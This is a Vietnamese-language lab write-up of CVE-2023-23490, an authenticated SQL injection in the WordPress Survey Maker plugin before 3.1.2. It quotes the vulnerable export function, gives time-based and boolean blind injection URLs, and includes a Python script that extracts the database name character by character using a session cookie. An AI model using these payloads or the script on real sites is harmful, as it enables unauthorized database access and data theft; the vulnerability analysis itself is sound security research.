- Lỗ hổng Authenticated SQL Injection tại plugin Survey Maker
Survey Maker: CVE-2023-23490 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
Plugin không escape tham số 'surveys_ids' tại hành động 'ays_surveys_export_json' khi đưa vào câu truy vấn SQL.
Lỗ hổng yêu cầu cần được xác thực nhưng không cần phải là quản trị viên, những ai có chức năng 'subscriber' đều thực hiện được.
Setup
Wordpress 6.1.1
Plugin Survey Maker 3.0.9
Phân tích.
- Tại hành động ays_surveys_export_json ta có thể thấy hầu hết các câu truy vấn SQL đều được nối chuỗi và được kiểm soát từ bên ngoài.
public function ays_surveys_export_json() {
global $wpdb;
$surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
$surveys_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'surveys';
$survey_category_table = $wpdb->prefix. SURVEY_MAKER_DB_PREFIX . "survey_categories";
$questions_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX. 'questions';
$questions_category_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'question_categories';
$answers_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'answers';
$sections_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'sections';
if(empty($surveys_ids)){
$where = '';
}else{
$where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
}
$sql_survey_categories = "SELECT * FROM ".$survey_category_table;
$survey_categories = $wpdb->get_results($sql_survey_categories, 'ARRAY_A');
$survey_all_categories = array();
foreach ($survey_categories as $survey_categories_key) {
$survey_all_categories[$survey_categories_key['id']] = $survey_categories_key['title'];
}
$sql_surveys = "SELECT * FROM ".$surveys_table.$where;
$surveys = $wpdb->get_results($sql_surveys, 'ARRAY_A');
$data = array();
$data['ays_survey_key'] = 1;
$data['surveys'] = array();
foreach ($surveys as $survey_key => &$survey) {
$questions_id = trim($survey['question_ids'], ',');
$survey_cat_ids = explode(',' , $surveys[$survey_key]['category_ids']);
foreach ($survey_cat_ids as $survey_cat_key) {
$surveys[$survey_key]['survey_categories'][$survey_cat_key] = $survey_all_categories[$survey_cat_key];
}
unset($survey['id']);
unset($survey['category_ids']);
if(empty($questions_id)){
$survey["questions"] = array();
}else{
$sql_sections = "SELECT id,title,ordering FROM ".$sections_table." WHERE id IN (". esc_sql( $survey['section_ids'] ) .")";
$sections = $wpdb->get_results($sql_sections, 'ARRAY_A');
$sql_question_cat = "SELECT * FROM ".$questions_category_table;
$questions_categories = $wpdb->get_results($sql_question_cat, 'ARRAY_A');
$categories = array();
foreach ($questions_categories as $question_key) {
$categories[$question_key['id']] = $question_key['title'];
}
$sql_questions = "SELECT * FROM ".$questions_table." WHERE id IN (". esc_sql( $questions_id ) .")" ;
$all_questions = $wpdb->get_results($sql_questions, 'ARRAY_A');
$cat_ids = '';
foreach ($all_questions as $key => &$question) {
$all_questions[$key]['answers'] = $this->get_question_answers($question['id']);
$cat_ids = explode(',' , $all_questions[$key]['category_ids']);
foreach ($cat_ids as $cat_key) {
$all_questions[$key]['question_categories'][$cat_key] = $categories[$cat_key];
}
}
}
$survey['sections'] = $sections;
$survey['questions'] = $all_questions;
}
$data['surveys'] = $surveys;
$response = array(
'status' => true,
'data' => $data,
'title' => 'surveys-export',
);
echo json_encode($response);
wp_die();
}
- Đặt breakpoint tại
Biến global $wpdb được dùng để thực hiện các câu truy vấn trong wordpress nên dòng tiếp theo sẽ là thực thi câu truy vấn.
Thực hiện với hành động
http://localhost/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1
- Khi đó câu SQL được thiết lập sẽ là
$sql_surveys = "SELECT * FROM wp_ayssurvey_surveys WHERE id IN (1)"
- Có thể thấy ta hoàn toàn kiểm soát được giá trị của $surveys_ids vì không ép kiểu nguyên và $sql_surveys sẽ được nối chuỗi với $where thông qua
$surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
...
if(empty($surveys_ids)){
$where = '';
}else{
$where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
}
Khai thác
- Payload:
http://localhost/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-
Khi đó câu truy vấn sẽ là:
Tham khảo
Có thể khai thác qua sqlmap nhưng để nâng cao trình độ thì tấn công qua blind sql như sau.
Kiểm tra độ dài và tên database (Ở đây dùng MySQL và tên DB là 'wordpress')
Payload:
- /admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+and+length(select+database())=9%23
- /admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+and+(substring((select+database()),1,1)=CHAR(119))%23
Sau đó kiểm tra lần lượt từng cột và nội dung một nhưng mà dùng sqlmap cho nhanh.
Kết quả
Code tham khảo
- Đoạn code tham khảo check DB name hay column và rows.
import sys, requests, urllib.parse, string
# query = sys.argv[1]
query = "database()"
lent = 10
url = 'http://localhost:80/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1'
headers = {
'Cookie': 'wordpress_826614356389d062a546b55d74431192=luk6785%7C1674449032%7CR6aa2TdnC97Dnj9sWvxf7HaZ2SR4ahAlArx3kajk2WR%7Cc5deb082acb4d6af201d4674ff456217dff0f346ff65c7fe01483bfdd0a5c049; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_826614356389d062a546b55d74431192=luk6785%7C1674449032%7CR6aa2TdnC97Dnj9sWvxf7HaZ2SR4ahAlArx3kajk2WR%7Ca1311197b950614b90160060ecf4996356793fa458592f778020435920deee90; wp-settings-time-1=1674276234'
}
def get(query=''):
global len, url, headers
result = ''
for i in range(1,lent+1):
for c in range(34,120):
try:
payload = ")+and+substring((select+%s),%d,1)=CHAR(%d)%%23"%(query, i, c)
print(url+payload)
resp = requests.get(url+payload, headers=headers)
if len(resp.text) != 81:
print("Found: %s"%chr(c))
result += chr(c)
break
except:
print("An exception occurred")
return result
print(get(query))
Bản 3.1.2
Hiện tại phiên bản 3.1.2 đã xoá chức năng ays_surveys_export_json nên có thể update lên lí do vì sao xoá hay update thì sẽ nghiên cứu tiếp.